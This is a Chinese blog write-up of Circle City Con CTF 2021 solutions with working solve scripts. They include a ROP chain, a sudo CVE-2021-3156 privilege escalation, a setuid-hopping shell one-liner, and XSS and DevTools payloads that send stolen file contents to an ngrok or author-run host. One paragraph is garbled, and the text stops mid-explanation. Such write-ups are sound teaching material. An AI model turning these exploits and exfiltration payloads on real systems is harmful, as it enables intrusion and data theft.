Circle City Con CTF 2021 WriteUps

期末考前自己參加了這個 CTF,整體難度算是偏低的,不過也有困難與很有趣的題目,最後居然得到了第四名。

Final Ranking
Final Ranking

CRYPTO

[Baby] RSA

,然後可以發現 是完全平方數,直接開立方根即可。

1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot

n = 21240130069302595435883573568292543584653982426668643904196630885984119007899960150162877143271928662185885422702123670222165981446412189843665571992895649937195036232374014356896167929469467494531756153911013832353810970941919101050971790197002016280790620714887304192321101311465703150098410331176735899796484284165771555960758054286754565310439163189954842301676099617954811528874343372426916478057819577132937062857039063351856289801979923260408285890418889829381378968646646737194160697920287161229178345666260994127087040393511692642122516019055570881253021165130706539874713965212158253699181636631222365809257
c = 80505397907128518326368510654343095894448384569115420624567650731853204381479599216226376345254941090872832963619259274943986478887206647256170253591735005504

print(long_to_bytes(iroot(c, 3)[0]))

[Baby] CRT RSA

一樣是 ,不過這次用了三個不同的 去加密,這個是 Håstad's broadcast attack。

首先有:

可以用中國餘數定理算出 ,由於 ,因此 ,可知算出來的 為完全立方數,直接開立方根得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
from gmpy2 import iroot

e = 3
n_1 = 18313667803478867336609004721464541537328973484305462826796382793855753159667702339443214415676107219128019719918729781240367765840170011546130583192904778311406642412055832301895834234050092458894891378245659415453668079516268277621821820816314253525389030994411875738859521385775378994318680298110895022910442167872459649446752807884859578440573460451717182770603357201261838877834565082113563029377616922987738400092690457439097525425733191455006127272117318175252557137776704423298751249687687982939242399995960217891670545776591917279437324424655966555374035972380565105603454122721599641307596329237684195317587
n_2 = 20194467459457647060586516996478370472351267218473917410062391619804366508155615598555934151439965040658239840971767337317396956926547783621869694734101324546348705982578129843495046800965472146299498824698092002656707267929600194580016819675385334043852783023251749457877096316831425135876783876607713235344100191162140401175616183217075255611260047339942560958156070307547443884997807476833178558920808584815204100121025788968550385803770908539890673979000205479656826535064665232908045866184941964720268186377486138453445647534884078844954199823059749774156922214595091852691529313493766002778666818883664405832403
n_3 = 28410407035821399633105602414308666083186296658943720122869492873011020714858272525924383333651592284428901214906611872460164447581815587883155804582069085992375163808745662275133491411336915996399762543519217523867565162464721135784726071214566835068379436095952306868321574023543552212709114558637219985795158790999008762464781584235742497782435874814916996914994622843458737648796476512273155699038887480170809464170867427859436811167822162365878701943537205202829629515767060354955288883378511576712085561459099352295975180411538002583505384685029771639657760193592641463091670959570110199839193007853012047792951
ct_1 = 4361068625491121585959284487341364298014917091167459186815285529598354735142456720602466259897053502006543584155650414108053083187715487460414552189153473176328972836654051104002438654670972840351138096724369732822616030793769716381154959736278166838792024300286881567007214354013293287163863182681969888796359513260199887574592768851482378233523702226160031879160962727499277063367162956148498154268271025542127905089334411348063974019724471911095717624141476012283069088544181538863919281957631181754200250370777952217187591480953121517810770662230820689692425877920149973485291740351240601042031554568416165653801
ct_2 = 7454119914503246454695225608366998910502362663575277057804461920278767763248677179908320434252341988720062910948247234833145541538721789767567216822524509307779250204983551429213791107932957166581434644890426988090302661172536864772938094552788386232242044947782405157429008368192073663951594129377676752306905041733416517122507652313240587554617250337508737466749142455332827859556080609592971327915921976414897414103328089640910405224692254001370474817181338600658683188149268215440111576616804026782469078580075278163035385301354208954742090806396419312598674668782737577467445931682124259183904307994197406247889
ct_3 = 475431757150415548038120878675026605258081422958849322189947529651864550511016854432752841608067858620795144603286556404827027829790131339932716728168413658428417455936312330389421287814427992302961543375036809563812960151703062899930161470602633031599828887098914730417799654684023064362771853376591221374617439483919394574339804160488928252982891682671342232959007865677713493662084854838321612782206385687329676060126776093320146302404930844788632687207893577657763961310494363939265885733023621969573701702862867184316968075660702024069750913111874157011920933780381567012981148057478008081618456449117864142394

x = crt([ct_1, ct_2, ct_3], [n_1, n_2, n_3])
print(long_to_bytes(iroot(x, 3)[0]))

[Baby] Meadows

這題他會把 flag 的字元隨便在 之下乘 的隨機數次方,不過因為 seed 有固定所以就反過來做即可。

1
2
3
4
5
6
7
8
9
10
11
12
data = [] # from out.txt
g, p = data[0]
ar = data[1:]

import random

random.seed(0x1337)

flag = []
for x in ar:
flag.append((x * pow(g, -random.randrange(2, p - 1), p)) % p)
print(bytes(flag))

No Stone Left Unturned

這題是經典的 Fermat factorization 的利用,根據他的質數生成的部分可以看出

再來列出式子 ,由 可知 ,所以就直接暴力找 然後檢查 是否是完全平方數就能分解了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import gmpy2
from Crypto.Util.number import *


def fermat(x, mx=1000):
a = gmpy2.isqrt(x)
b2 = a * a - x
cnt = 0
while not gmpy2.is_square(b2):
a += 1
cnt += 1
if cnt == mx:
return
b2 = a * a - x
b = gmpy2.isqrt(b2)
return a, b


n = 0xA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA2E8BA93F56D1E890D1827D8AE8D40172A2DFAFAA73523DD318C608BD4169D702442E6D153AE0637766F635255F4C1EE6BC694589B2708AE9061FB84F9DB9DA7199996C519635DECFB53B4CCFDE2BF9E89F70DE9172BD370BE887E8E1009B278774EE2449CE3EA3B76428506B4A98BEDA6E3C9AABBF1164E088F27554282D7909EF2AE61FB5316E705E3EA72CBA9DF06AF06E54C3EE898DAB8ED245E26290F59FEEEC9F58E61C4A2051086234FE48B42399A74452B87829DA28F3E88A5A4B01B72D045B296297A3DA34B9A5C20CB
e = 0x10001
c = 0x2D1F77201435E00D3355246CC4DE54B3C98A801F688500FF1E824D985F225F95415019188AF01C39C80393E648E5E51BAB80E1ABFDA82A74490FE58EF82AFDE4BED2999B10AC71F241F20564F5D2461CD57B50033C0FE64319B246AD241846B2AB37328F83D0A77FE5C3564CEC18DBC577FDACAD417925D208735D8B916779F567EF863DBA594D9D035C99E6210DB9397797C10E900A1D4A3BCE2F87502C23F2E909808C10AC675AFFB41B3E0769360C959289338CE2877813C723524718D84A75B2209BA4F3560FCBC82DA69D6B2F86C32970B325EC034A060FC62F6B3A97AE01CDFC8AEB35DF03D92AF88A7B60831254095FB66CE73B2C5941440721899DC1


a, b = fermat(n * 11 * 7, mx=1000000)
assert a ** 2 - b ** 2 == 11 * 7 * n
print((a + b) % 7)
q = (a + b) // 7
p = n // q
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))

Poison Prime

這題給你決定一個質數 作為 Diffie-Hellman 交換的質數,但是它會要求你輸入一個夠大的 整除 確保它不夠 smooth。再來它也沒給 public key,要算 discrete log 也不可能。它會用 shared secret 作為 AES key 加密,然後要求你解密明文傳回去之後才能拿到 flag,而明文是部分已知的。

因為它沒給 public key,我直接把 shared secret 表示為 ,看看有沒有辦法找到恰當的質數 能讓 被限制在一個很小的 subgroup 之中來暴破,也就是說它的 order 很小。

這題的 ,所以可以用這個式子來想 ,所以可推得 。假設 會發現到這個是個很熟悉的一個形式,叫 Mersenne prime,所以就在裡面查表找到適當大小的 即可。

例如我用的是 ,所以代表 的 order 是 ,自然代表 的 order 也是 。至於 factordb 看看 最大的質因數夠不夠大,也就能找到 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha1


p = 2 ** 607 - 1
q = (4 ** 101 + 2 ** 101 + 1) // 4249
assert (p - 1) % q == 0

keys = []
for i in range(607):
keys.append(sha1(long_to_bytes(pow(8, i, p))).digest()[:16])

# io = process(["python", "server.py"])
io = remote("35.224.135.84", 4000)
io.sendlineafter(b"Please help them choose p: ", str(p))
io.sendlineafter(
b"To prove your p isn't backdoored, give me a large prime factor of (p - 1):",
str(q),
)
io.recvuntil(b"encrypted message: ")
ct = bytes.fromhex(io.recvlineS().strip())
for key in keys:
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
if pt.startswith(b"My favorite food is "):
io.sendlineafter(b"Decrypt it and I'll give you the flag: ", unpad(pt, 16))
break
print(io.recvallS())

MISC

nana 1.0

直接在 core.3685280 上面用 strings + grep 就有 flag 了。

angrbox

這題的目標是要提供一個 C 程式給它編譯,程式需要從 argv[1] 拿四個字元做 key checking 的動作。對方會用一個使用 angr 的 script 試著去破解 key,如果能撐過兩分鐘不被破解就能得到 flag。

我的方法是找一個別人寫好的 brainfuck interpreter 來亂改,讓它 angr 的 symbolic execution 複雜度大幅增加。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MEMORYCELLS 1000
#define CODESIZE 1000

struct Machine
{
char memory[MEMORYCELLS];
char *pointer;
};

void initializeMachine(struct Machine *a)
{
int i;
a->pointer = &(a->memory[0]);
for (i = 0; i < MEMORYCELLS; i++)
a->memory[i] = 0;
}

char translate(char in)
{
switch (in)
{
case '>':
return 1;
case '<':
return 2;
case '+':
return 3;
case '-':
return 4;
case '.':
return 5;
case ',':
return 6;
case '[':
return 7;
case ']':
return 8;
}
return in;
}

void execute(struct Machine *a, char *code, char *input)
{
long i = 0;
while (1)
{
switch (translate(*code))
{
case 0:
return;
break;
case 1:
a->pointer++;
break;
case 2:
a->pointer--;
break;
case 3:
(*(a->pointer))++;
break;
case 4:
(*(a->pointer))--;
break;
case 5:
// putchar(*(a->pointer));
break;
case 6:
*(a->pointer) = input[i++];
break;
case 7:
{
if (*(a->pointer) == 0)
while (*code != ']')
code++;
}
break;
case 8:
{
if (*(a->pointer) != 0)
while (*code != '[')
code--;
}
break;
}
code++;
for (int j = 0; j < 1000000; j++)
{
if (i >= 4)
{
i *= (long)code;
}
}
}
}

int main(int argc, char **argv)
{
struct Machine a;
char codeinmemory[CODESIZE];
char code[] = ",>,>,>,<<<----------------------------------------------------------------->------------------------------------------------------------------>------------------------------------------------------------------->--------------------------------------------------------------------";
initializeMachine(&a);
execute(&a, code, argv[1]);
for (int i = 0; i < 4; i++)
{
if (a.memory[i] != 0)
{
return 1;
}
}
return 0;
}

Double

這題有一個 memory dump dump.mem 和一個 Ubuntu_5.4.0-62-generic_profile.zip,Google 了和後者相關的檔名之後可以找到這篇: getdents

從裡面知道了 dump.mem 是個從 VMWare dump 出來的 memory dump,可以透過安裝一個軟體 volatility 來進行分析。

先找出 bash 的紀錄:

1
2
3
4
5
6
7
8
9
10
11
12
> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_bash
Volatility Foundation Volatility Framework 2.6
Pid Name Command Time Command
-------- -------------------- ------------------------------ -------
1250 bash 2021-04-13 06:13:11 UTC+0000 sudo apt-get install virtualbox-guest-x11 curlthon3 python3-pip
1250 bash 2021-04-13 06:13:11 UTC+0000 vi .Xmodmap
1250 bash 2021-04-13 06:13:11 UTC+0000 xmodmap .Xmodmap
1250 bash 2021-04-13 06:13:15 UTC+0000 sudo curl https://get.docker.com/ | bash
1250 bash 2021-04-13 06:14:50 UTC+0000 sudo -s
1250 bash 2021-04-13 06:14:50 UTC+0000 ????????
1250 bash 2021-04-13 06:14:50 UTC+0000
11561 bash 2021-04-13 06:15:01 UTC+0000 docker run -it alpine:3.7 /bin/sh

從這裡能知道說它把東西跑在一個 alpine container 中的 shell 之中,再來試著把 docker 相關的檔案找出來:

1
2
3
4
5
> volatility --plugins=. -f dump.mem --profile=LinuxUbuntu_5_4_0-62-generic_profilex64 linux_enumerate_files | grep docker
Volatility Foundation Volatility Framework 2.6
...
0xffffa0f6fadd78c8 289058 /var/lib/docker/overlay2/0302e6c324b486a627e0243c020d8a7d5edd1eab9f186af5d0f6a83b5b82c989/diff/secret.txt
...

裡面能看到說有關於 secret.txt 的檔案存在,試著使用了 linux_find_file 匯出檔案來,但是不知為何還是失敗了。這個時候我試了另一個方法,用 strings + grep:

1
2
3
4
5
6
7
> strings dump.mem | grep secret.txt -C 5
...
secret.txt
C C C { d0 c
0 c k 3 r _ in
n _ a _ V M }
...

仔細檢查就能發現有像是上面的訊息出現,明顯是 flag,不過有些字元重複了,我再用 python 去把它輸出出來即可:

1
2
3
4
with open("dump.mem", "rb") as f:
dump = f.read()
i = dump.index(b"C C C")
print(dump[i : i + 40])

Discord Bot Dev 1

這題首先用根據 hint 中給的作者本名用點搜尋技巧找到一個 discord bot 的 repository,在 Google 上面搜尋 "Nathan Peercy" site:github.com 可以找到一個頁面,裡面能看到一個 GitHub Organization,從裡面的 repo 的 commit history 可以找到作者的 GitHub 帳號,裡面就有 Bot 的 repo: nbanmp/ccc-discord-bot-dev。Discord server 的連結可以從 commit history 之中找到: https://discord.gg/UPvvXtX8Z6。

從 source code 中會知道 flag1 會每 15 分鐘在 channel flag-deletion-test 出現,但是它還有個 on_message 會自動偵測 flag format 把它刪除。這部分我的做法是用 Discord 的 Console 去輸入點 JavaScript 自動去把該 channel 的最新訊息強制留下來,這樣就能看到 flag1 了。另一個後來發現的做法是利用 Discord Android app 的通知,它發送到刪除的時間雖然很短,但是 app 的通知會暫存一小段時間,抓好時間把通知截圖下來即可。

Discord Bot Dev 2

flag2 的部份需要想辦法觸發一個 handle_debug 函數才行,方法是要有個在該 server 擁有 admin 權限的人發送 sudo debug aaaaaaaa 之類的訊息,然後它就會把 aaaaaaaa 和 flag2 xor 的結果傳回去到訊息來源的頻道。

這邊可以利用它的一個 remindme 功能,這只能透過直接 DM 觸發,格式為 remind time [message] [channel_id],有中括號的部分是可選的,會讓 Bot 自身在指定時間於 channel_id 發送訊息 message。測試一下可以注意到它確實有辦法把 channel_id 設成 server 中的 channel 的 id,但是它有個檢測會檢查說如果該 channel 是屬於原本那個 server (852786013934714890) 的話訊息就會被替換成 someone attempted to send a reminder here

這邊的關鍵是先自建一個新的 Discord server,然後參考 Discord 官方的開發者教學生成一個 oauth2 的 url (要有適當的權限),然後把 client_id 的部份改成 Bot 的 id:

1
https://discord.com/oauth2/authorize?scope=bot&permissions=388160&client_id=852787071298830336

然後進入那個網址之後就能邀請 Bot 到你的 server 去,所以再 DM 適當的 remindme 指令給 Bot,然後他就會在指定時間發送 sudo debug aaaa... 到你的 server 的指定 channel。然後因為發送者就是 Bot,能經過它的權限檢查觸發 handle_debug,然後又會在同個頻道發送 xor 之後的 flag2。

範例指令:

1
remindme 2021/06/13 12:05 UTC+8 sudo debug aaaaaaaaaaaaaaaaaaaaaaaaa 123456789123456789

PS: 要注意的是 sudo debug aaaa... 後面的字元數量,因為從 code 可以知道如果它的長度超過 flag 的話會有 error,就不會拿到 flag 了,所以 flag 的長度需要自己一個一個暴力測試才行

OSINT

[Baby] Building Locator

因為題意說明不清,出題者直接在 Discord 的公告就給了 flag 了,是台北 101 的官網。

Happy Little Osint

我用了這個網站去找到了對應的帳號 [@happy_lil_con](https://twitter.com/happy_lil_con),從追隨者中找到 [@con_angry](https://twitter.com/con_angry),在自介的地方就有 flag 了。

PWN

[Baby] Fawn CDN

這題只要能讓它 call 到 win 函數即可,直接用 overflow 把 struct 中的 function pointer 蓋掉之後讓它 call 就成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

# p = process("./fawncdn")
p = remote("35.224.135.84", 1001)

p.sendlineafter(b"cmd> ", "1")
p.recvuntil(b"content at ")
addr = int(p.recvuntilS(b'"')[:-1], 16)
print(hex(addr))
p.sendlineafter(b"cmd> ", b"a" * 16 + p64(addr))
p.recvuntil(b"cmd> ")
p.sendline("3")
p.recvuntil(b"cmd>")
img = p.recvuntil(b"\n1.")[1:-3]
print(img)
with open("flag.jfif", "wb") as f:
f.write(img)

Weird Rop

這題的程式很小,沒有 RWX 的區段能寫 shellcode, vuln 函數會 open /flag.txt,然後 write 兩個 byte 之後用 read 讀超過範圍的 bytes,有個很明顯的 buffer overflow。

用 ROPgadget 找一下可以發現沒有能任意改 rax 的 gadget,只有 mov rax, 1; retmov rax, 0; ret,所以 syscall 只能使用 read 和 write 而已。rdi 的部分找不到 pop rdi; ret 的 gadget,但有很多的 xor rdi, SOME_CONSTANT 能用。剩下的部分還有 pop rsi; retpop rdx; ret 的 gadget。

我的作法是想用 read 去讀 open 出來的 file descriptor,之後再 write 出來即可。不過這邊有個困難點是 fd 的值是 rdi,它 xor 的部份沒有很小的值能讓你直接利用,一個作法可能是用多個 xor 去 xor 出需要的 fd,不過我的方法是先讓它 ret 到 vuln 函數的開頭再 open 一次,反覆這樣幾十次之後根據 open 出來的 fd 是遞增的性質就能找一個最小的 xor 來使用即可。

ROP chain 直接看 code 比較好懂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context.arch = "amd64"

# io = process("./weird_rop")
io = remote("35.224.135.84", 1000)

vuln = 0x4010E0
for _ in range(30):
io.recv(2)
io.sendline(b"a" * 24 + p64(vuln))
buf = 0x402500
syscall_add_rsp_0x10 = 0x401145
xor_rdi_29 = 0x401089
pop_rsi = 0x401000
pop_rdx = 0x4010DE
mov_rax_0 = 0x401002
mov_rax_1 = 0x40100A
mov_rdi_1 = 0x401012
# rdi = 0 initially
read_chain = flat(
[
xor_rdi_29,
pop_rsi,
buf,
pop_rdx,
100,
mov_rax_0,
syscall_add_rsp_0x10,
0,
0,
0,
vuln,
]
)
io.recv(2)
io.sendline(b"a" * 24 + read_chain)
write_chain = flat(
[
mov_rdi_1,
pop_rsi,
buf,
pop_rdx,
100,
mov_rax_1,
syscall_add_rsp_0x10,
]
)
io.recv(2)
io.sendline(b"a" * 24 + write_chain)
print(io.recvlineS().strip())

Lord Saturday

這題給你了一個普通 user 的 shell,可以直接 ssh 過去使用,而它安裝了 sudo 的 1.8.31 版本,目標是要得到 root 權限。

查詢一下 sudo 的版本可以知道有 CVE-2021-3156 的,找一下可以找到這個 POC 來使用,不過直接按照它的方法 compile 再放到 container 裡面執行是行不通的。再看一下 Dockerfile 會發現到它把 sudoedit 給刪除了,但是從文章中會知道它利用的是 sudoedit 的 bug。

其實再仔細看一下文章會發現 sudoedit 只是 sudo 的一個 symlink,它是靠 argv[0] 去判斷目前是以 sudo 還是 sudoedit 執行的,而這部分能靠 execve 很容易的繞過,所以就修改 POC 中的 exploit.c 最後面用 execve 的地方,把 /usr/bin/sudoedit 改成 /usr/bin/sudo 後再編譯一次即可成功。

傳送檔案的部分不知道為什麼 scp 沒用,不過就自己手動用 base64 把 binary 貼上傳過去執行就成功得到 root 了。

worm / worm 2

這題它會遞迴建立一堆資料夾構成像是 binary tree 的狀況,然後每層的資料夾的 user 帳號都不同,不過每個非葉節點的資料夾都會有個 ./key 能透過 buffer overflow 通過密碼檢測用 setuid setgid 切換權限執行 /bin/bash。而 flag 會放在任意一個葉節點之上。連線之後用 hashcash 算一下 PoW 之後會幫你開新的 container,之後可以輸入 512 以內的 shell 指令以 /bin/sh 幫你執行。

worm 是出題者稍微出錯的地方,它允許了 stdin,所以可以直接輸入 bash 進入 interactive 的模式去解。而 worm 2 就把 stdin 關掉了,讓你要在一行 shell 指令內把它解掉。

方法也很簡單,dfs 去找而已,但是比較麻煩的就是還要把要遞迴執行的指令 pipe 到 ./key 中才行。

沒有壓縮的版本大概如下:

1
2
3
4
5
6
export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd
cd /room0
gen() {
[[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key;
}
gen | grep CCC

之後可以壓成一行:

1
export P=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap4ssw0rd;cd /room0;gen() { [[ -f ./key ]] && (echo $P && echo "$(declare -f gen);for x in \$(ls|grep ^r);do (cd \$x && (cat flag.txt 2>/dev/null || gen)) done") | ./key; };gen|grep CCC

再來因為要在 /bin/sh 中執行,先用 base64 當作 escape 之後再 pipe 到 bash 中即可:

1
echo ZXhwb3J0IFA9YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFwNHNzdzByZDtjZCAvcm9vbTA7Z2VuKCkgeyBbWyAtZiAuL2tleSBdXSAmJiAoZWNobyAkUCAmJiBlY2hvICIkKGRlY2xhcmUgLWYgZ2VuKTtmb3IgeCBpbiBcJChsc3xncmVwIF5yKTtkbyAoY2QgXCR4ICYmIChjYXQgZmxhZy50eHQgMj4vZGV2L251bGwgfHwgZ2VuKSkgZG9uZSIpIHwgLi9rZXk7IH07Z2VufGdyZXAgQ0ND | base64 -d | bash

REV

[Baby] Artform

IDA 打開就看到 flag 了。

[Baby] Guardian

輸入 flag,它會顯示正確的 prefix 數量,所以寫個腳本爆開即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import string
from pwn import remote, context

context.log_level = "error"


def guess(pwd):
r = remote("35.224.135.84", 2000)
r.recvuntil(b"password?\n> ")
r.sendline(pwd)
x = r.recvuntil(b"guardian").decode()
ans = x.count("✅")
r.close()
return ans


chs = "_!?" + string.digits + string.ascii_lowercase
flag = "CCC{"

while True:
for c in chs:
if guess(flag + c) > len(flag):
flag = flag + c
break
else:
print(flag + "}")
break
print(flag)

Lonk

直接執行 flag.py 就會出現 flag 的一部份,但是因為它跑很慢所以後面的字元都出不來。讀 lib.py 之後可以看出它是使用 linked list 去表示數字並做一些運算,讀懂之後把它 patch 掉改成使用正常的數字去運算即可:

patched_lib.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
def 非(a):
# setup a
return a


def 常(a):
# count a
return a


def 需(a):
# copy a
return a


def 要(a, b):
# a + b
return a + b


def 放(a, b):
# a - b
return a - b


def 屁(a, b):
# a * b
return a * b


def 然(a, b):
# a % b
return a % b


def 後(a, b):
# a ** b
return a ** b


def 睡(a, b, m):
# a ** b % m
return pow(a, b, m)


def 覺(n):
print(chr(常(n)), end="", flush=True)

然後把 flag.py 的 import 改掉就能 print 出 flag 了。

Little Mountain

丟進 IDA 中可以看到它有個 function table,進 gdb 會發現 table 裡面有四個函數 a b c d,但顯示的 menu 只有三個。用 IDA 看 d 函數就能發現它的 flag 只是簡單的 xor 的結果,自己把需要的 data export 出來 xor 即可。

另一個方法是 gdb 對 d 下斷點,menu 的地方輸入不存在的第三個選項進入 d,然後一直 ni 到它有個 jne 的地方輸入 j *(d+78) 繞過比對即可。

WEB

Casino

有一個 Discord bot,需要得到超過 $1000 才能拿到 flag。從 source code 看的出來正規方法沒有辦法得到超過 badge` 指令是會用 puppeteer 去造訪網站截圖產生 badge 的。

可以看到 $badge 指令支援自己加入 css,而它有個設置金錢數量的 endpoint 是用 GET 的,不過那限制內網才能訪問。

這邊就自己插入 css 用 url() 去讓 bot 對內網的那個網站發出 request,然後就能設置金錢數量了:

1
$badge body{background:url("/set_balance?user=maple3142%238585&balance=8763");}

imgfiltrate

這題有個很簡單能 XSS 的弱點在,雖然有 CSP 但 nonce 也給了所以不是問題。困難點在於 flag 是個圖片,而它的 CSP 也限制了你不能用 fetch 去取得圖片再 base64 encode 傳送過來。

解決辦法也很簡單,直接利用現有的 img 元素就夠了,因為 canvas 有支援直接把圖片畫到裡面的功能,之後再用 canvas 取得 base64 就成功了,網路上有很多這樣的範例。

Payload:

1
http://35.224.135.84:3200/?name=%3Cscript%20nonce=70861e83ad7f1863b3020799df93e450%3Efunction%20getBase64Image(e){var%20a=document.createElement(%22canvas%22);return%20a.width=e.width,a.height=e.height,a.getContext(%222d%22).drawImage(e,0,0),a.toDataURL(%22image/png%22).replace(/^data:image\/(png|jpg);base64,/,%22%22)};flag.onload=()=%3E{location=%27https://52dbd34bb4a0.ngrok.io?data=%27%2BencodeURIComponent(getBase64Image(flag))}%3C/script%3E

這題因為 url 太長(圖片的 base64)的緣故,沒辦法使用 https://webhook.site/ ==

Puppet

這題只有一個 Puppeteer 的 bot 讓你用,可以看到他的啟動選項有 --disable-web-security--remote-debugging-port=5000,而 flag 還是放在 ~/Documents 中的其中一個未知名稱的檔案中,所以目標很明顯就是要用 Chrome DevTools Protocol 打 Puppeteer。

解法和之前解 Watered Down Watermark as a Service 這題很像,直接讀 file: protocol 的頁面內容即可。

有個比較麻煩的地方是它每次都是一個新的 instance,所以連 flag 檔名都會變,所以需要一次讓它做完列出目錄內容以及讀檔的工作才行。

把下面這個 index.html 放到一個 server 的根目錄,然後把該 server 的公開網址直接 submit 過去即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<pre id="log"></pre>
<script>
const base = location.href.split('?')[0]
const u = new URLSearchParams(location.search)
function log(tag, msg) {
const ct = `${tag}: ${msg}\n`
log.textContent += ct
fetch(`${base}report.php`, { method: 'POST', body: ct })
}
const filepath = u.get('path') || '/home/inmate/Documents/'
fetch(`http://localhost:5000/json/new?file://${filepath}`)
.then(r => r.json())
.then(d => {
const j = JSON.stringify(d, null, 2)
log('json', j)
const ws = new WebSocket(d.webSocketDebuggerUrl)
ws.onmessage = e => {
log('ws.onmessage', e.data)
}
ws.onopen = () => {
setTimeout(() => {
ws.send(
JSON.stringify({
id: 8763,
method: 'Runtime.evaluate',
params: {
expression: `
const m = document.documentElement.innerHTML.match(/flag_.*?txt/)
if(m) {
location.href = '${base}?path=' + encodeURIComponent('${filepath}' + m[0])
}
fetch('${base}report.php', { method:'POST', body: document.documentElement.innerHTML })
`
}
})
)
}, 5000)
}
})
</script>

如果有用 ngrok 的話它可以很方便的直接檢視 request 內容,沒有的話可以用下面這個 report.php 把 POST body 輸出:

1
2
<?php
error_log(file_get_contents('php://input'), 0);

Sticky Notes

這題我認為是個相當困難的題目,需要用到的核心概念和 PlaidCTF 2021 的題目 Carmen Sandiego 相同。

flag 的內容也清楚的告訴我們這題的 idea 就是來自那題的

此題目標也是 XSS,網站上可以創建 board 然後新增最多九個文字內容,文字內容都是放在 iframe 裡面以 Content-Type: text/plain 提供的。

web 的部份有兩個 server,一個是使用 fastapi 寫的 boards.py 作為前端存在,另一個是直接利用 socket 寫的 notes.py,作為後端提供 iframe 裡面的內容。

boards.py 本身沒什麼漏洞能用,只是處裡創建 board 和把傳送的文字寫到資料庫 (file system) 的功能而已。

題目的關鍵在於 notes.py 的幾個地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# ...
header_template = """HTTP/1.1 {status_code} OK\r
Date: {date}\r
Content-Length: {content_length}\r
Connection: keep-alive\r
Content-Type: text/plain; charset="utf-8"\r
\r
"""
# ...
def http_header(s: str, status_code: int):
return header_template.format(
status_code=status_code,
date=formatdate(timeval=None, localtime=False, usegmt=True),
content_length=len(s),
).encode()
# ...
def iter_chunks(xs, n=1448):
"""Yield successive n-sized chunks from xs"""
for i in range(0, len(xs), n):
yield xs[i : i + n]
# ...
class TcpHandler(StreamRequestHandler):
# ...
def send_file(self, filepath):
if not filepath.is_file():
self.send_404()
return

content = open(filepath, "rb").read()
self.wfile.write(http_header(content.decode(), 200))

for chunk in iter_chunks(content):
self.wfile.write(chunk)
time.sleep(0.1)
# ...

從這邊可以看到 send_file 函數裡面的 contentbytes 類型,所以它的 content_length 會是那串 bytes 轉為 str (UTF-8) 的長度。然而它實際傳送出去的資料長度卻是 bytes 數量。

例如 UTF-8 字元 Àstr 類型的長度為 1,但是它的 bytes 長度為 2,這個就是能利用的關鍵。

這題的另一個關鍵在於它有 Connection: keep-alive,這會使瀏覽器會試著把多個 HTTP request 放在同次連線之中,不會再新開 socket。這樣題目的解法也很明顯了,就是要用它的長度的 bug 去偽造出假的 HTTP response 達成 XSS。

例如字串 "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 5\r\n\r\n5" 的長度為 64,在前面接上 64 個 À 之後的 UTF-8 總長度為 128,但是 bytes 數量為 192。因為 server 給的 Content-Length 將會是 UTF-8 的長度 128,也就代表第一個 response body 正好是 64 個 À 字元結束,而後面的資料就會是 HTTP/1.1 200 OK... 了。

不過這實際上沒那麼簡單,第一個難點是怎麼確保讓 Chrome 重複使用同個 socket,第二個點是 Chrome 如果在下一個 request 發送前就收到多餘資料的話就會把該 socket 斷掉。

第一個點可以利用 Chrome 對一個 domain 最多同時只會開 6 個連線的性質,結合 send_file 裡面的 time.sleep(0.1)。把 iframe0 裡面放入前面的 payload,然後 iframe1~iframe5 裡面放入大量的資料讓連線卡住,之後 iframe6 的內容隨便放就能成功了。因為 iframe1~iframe5 卡住的時候,iframe0 結束了,自然就要載入 iframe6,所以 Chrome 就會自動重複使用剛剛載入 iframe0 的連線,然後就會收到假的 HTTP response 了。

